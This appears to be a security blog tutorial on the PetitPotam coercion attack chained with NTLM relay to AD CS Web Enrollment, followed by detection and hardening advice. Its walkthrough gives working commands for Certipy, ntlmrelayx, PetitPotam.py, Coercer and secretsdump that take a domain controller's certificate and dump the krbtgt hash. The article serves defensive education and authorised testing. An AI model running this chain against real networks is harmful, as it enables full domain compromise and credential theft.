PetitPotam and Coercion Attacks: Forcing Authentication and Relaying to AD CS

Active Directory
2026.05.04
Time it takes to read this article 5 minutes.

Disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Coercing authentication and relaying credentials against networks without authorization is illegal in most jurisdictions.

Introduction / Overview

PetitPotam (discovered by topotam in 2021) is the best-known of a family of authentication coercion attacks. By making a single unauthenticated or low-privileged RPC call to a remote Windows host, an attacker can force that host's machine account to authenticate to an arbitrary destination. When that forced authentication is relayed to a vulnerable Active Directory Certificate Services (AD CS) Web Enrollment endpoint, the result is frequently full domain compromise — without ever cracking a password.

In this article you will learn how the underlying MS-EFSRPC protocol is abused, how the coercer triggers outbound NTLM, how to chain PetitPotam into the ESC8 relay-to-ADCS path, and — equally important — how a blue team detects and shuts the technique down.

How it works / Background

A coercion attack abuses RPC methods that accept a UNC path (\\attacker\share). When the victim processes the path it tries to access it, and in doing so authenticates to the attacker using the machine account DOMAIN\VICTIM$. The attacker never needs the victim's credentials; the OS hands them over by design.

PetitPotam specifically abuses MS-EFSRPC (the Encrypting File System Remote Protocol), reachable over the \PIPE\lsarpc (and efsrpc) named pipes. The vulnerable methods include EfsRpcOpenFileRaw (opnum 0), EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv, and several others. Each takes a FileName parameter; supplying a UNC path causes the LSASS process on the victim to reach out and authenticate.

Microsoft assigned CVE-2021-36942 and patched EfsRpcOpenFileRaw to block anonymous abuse, but multiple other EFSRPC methods remained exploitable, which is why later versions of the tooling switch opnums. Related coercion families worth knowing:

  • PrinterBug / SpoolSample — MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx).
  • DFSCoerce — MS-DFSNM (NetrDfsAddStdRoot).
  • ShadowCoerce — MS-FSRVP.
  • Coercer — a framework that automates all of the above.

The destructive chain is coercion → NTLM relay → AD CS Web Enrollment (certsrv). Because the default User or Machine certificate templates allow domain computers to enroll, the relayed machine account requests a certificate. That certificate can then be used with PKINIT to obtain a Kerberos TGT, and ultimately a DCSync. If you coerce a Domain Controller, you obtain a DC's certificate and compromise the entire domain. See also our deep-dive on AD CS abuse (ESC1-ESC8).

Prerequisites / Lab setup

  • A domain-joined attack host (Kali/Linux) with impacket and PetitPotam.py/Coercer.
  • A target Domain Controller (the host you will coerce).
  • An AD CS server running the Certificate Authority Web Enrollment role (the /certsrv/certfnsh.asp endpoint) with HTTP enrollment enabled — this is the ESC8 condition.
  • Network path: the DC must be able to reach your relay listener on port 80/445.

Install tooling:

pip install impacket
git clone https://github.com/topotam/PetitPotam.git
git clone https://github.com/p0dalirius/Coercer.git

Attack walkthrough / PoC

Step 1 — Find the AD CS Web Enrollment endpoint. Enumerate certificate services and locate ESC8-vulnerable CAs with Certipy.

certipy find -u 'lowpriv@corp.local' -p 'Password123!' \
  -dc-ip 10.10.10.10 -vulnerable -stdout

Look for Web Enrollment : Enabled and an ESC8 finding in the output.

Step 2 — Start the NTLM relay targeting the CA's Web Enrollment URL, requesting a certificate for the DomainController template (or Machine):

impacket-ntlmrelayx -t http://10.10.10.20/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

ntlmrelayx listens on 445/80, relays the inbound authentication to certfnsh.asp, and submits a CSR on behalf of the coerced account.

Step 3 — Coerce the Domain Controller. Trigger MS-EFSRPC, pointing the listener (-l) at your relay host. Anonymous (-u '' -p '') may work pre-patch; otherwise use any low-privileged domain account.

# topotam's PetitPotam.py
python3 PetitPotam.py -d corp.local -u lowpriv -p 'Password123!' \
  10.10.10.50 10.10.10.10
# args:  <attacker/listener IP> <target DC IP>

If EfsRpcOpenFileRaw is patched, switch methods with Coercer, which fuzzes every exploitable opnum:

coercer coerce -l 10.10.10.50 -t 10.10.10.10 \
  -u lowpriv -p 'Password123!' -d corp.local --filter-protocol-name MS-EFSR

Step 4 — Harvest the certificate. ntlmrelayx prints a Base64 PFX for DC01$. Use it with Certipy to request a TGT and dump the NT hash:

certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10

This yields the DC's TGT and its NT hash. With a DC machine account hash you can perform a DCSync and extract krbtgt:

impacket-secretsdump -k -no-pass 'corp.local/DC01$@dc01.corp.local' -just-dc-user krbtgt

At this point the domain is fully compromised. Related reading: NTLM relay fundamentals and Golden Ticket forging.

Mermaid diagram

PetitPotam and Coercion Attacks: Forcing Authentication and Relaying to AD CS diagram 1

The diagram shows the attacker coercing the DC over MS-EFSRPC, the forced NTLM being relayed to AD CS for a certificate, and that certificate being used to take over the domain.

Detection & Defense (Blue Team)

Coercion is hard to fully "patch" because it abuses legitimate RPC; the durable fix is to break the relay and harden the target. Defend in depth:

1. Harden AD CS (kills the ESC8 chain).

  • Enforce Extended Protection for Authentication (EPA) on the Web Enrollment site (IIS → SSL Settings → require, plus Extended Protection = Required).
  • Disable HTTP enrollment; require HTTPS only.
  • If Web Enrollment is not needed, remove the role entirely.

2. Enforce SMB and LDAP signing / channel binding. Relaying to LDAP/SMB fails when signing is required:

Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
# LDAP signing / channel binding via GPO:
# "Domain controller: LDAP server signing requirements" = Require signing
# "Domain controller: LDAP server channel binding token requirements" = Always

3. Apply patches. Install the update for CVE-2021-36942 and stay current; subsequent rollups blocked additional EFSRPC abuse vectors.

4. Restrict MS-EFSRPC where possible. If EFS is not used, you can filter the named pipes. Microsoft's guidance is to enable NTLM relay protections rather than break EFS; test carefully in a lab.

5. Detect the coercion itself. Watch for:

  • Event ID 5145 (network share / named-pipe access) referencing lsarpc, efsrpc, spoolss, netdfs, or fssagentrpc from unexpected source hosts.
  • Event ID 4624 / 4768 showing a machine account authenticating to a non-DC, non-server host (e.g. a workstation), which is anomalous.
  • A DC or server authenticating outbound to an arbitrary internal IP is a strong coercion signal.

6. Detect the AD CS abuse. Monitor Event ID 4886/4887 (certificate requested/issued) on the CA and alert on certificates issued to machine accounts where the requester subject does not match the requesting account — the hallmark of a relayed CSR.

This maps to MITRE ATT&CK T1187 (Forced Authentication) and T1557 (Adversary-in-the-Middle: relay).

Conclusion

PetitPotam is dangerous not because of a single bug but because it weaponizes the intersection of legitimate protocols: MS-EFSRPC coercion plus NTLM relay plus permissive AD CS enrollment. Patching one EFSRPC opnum does not close the door — Coercer simply moves to another protocol. The reliable defenses are structural: require SMB/LDAP signing and channel binding, enforce EPA on Web Enrollment, and remove unneeded AD CS HTTP endpoints. Treat any machine account authenticating outbound to an unexpected host as an incident.

References

Comments

Copied title and URL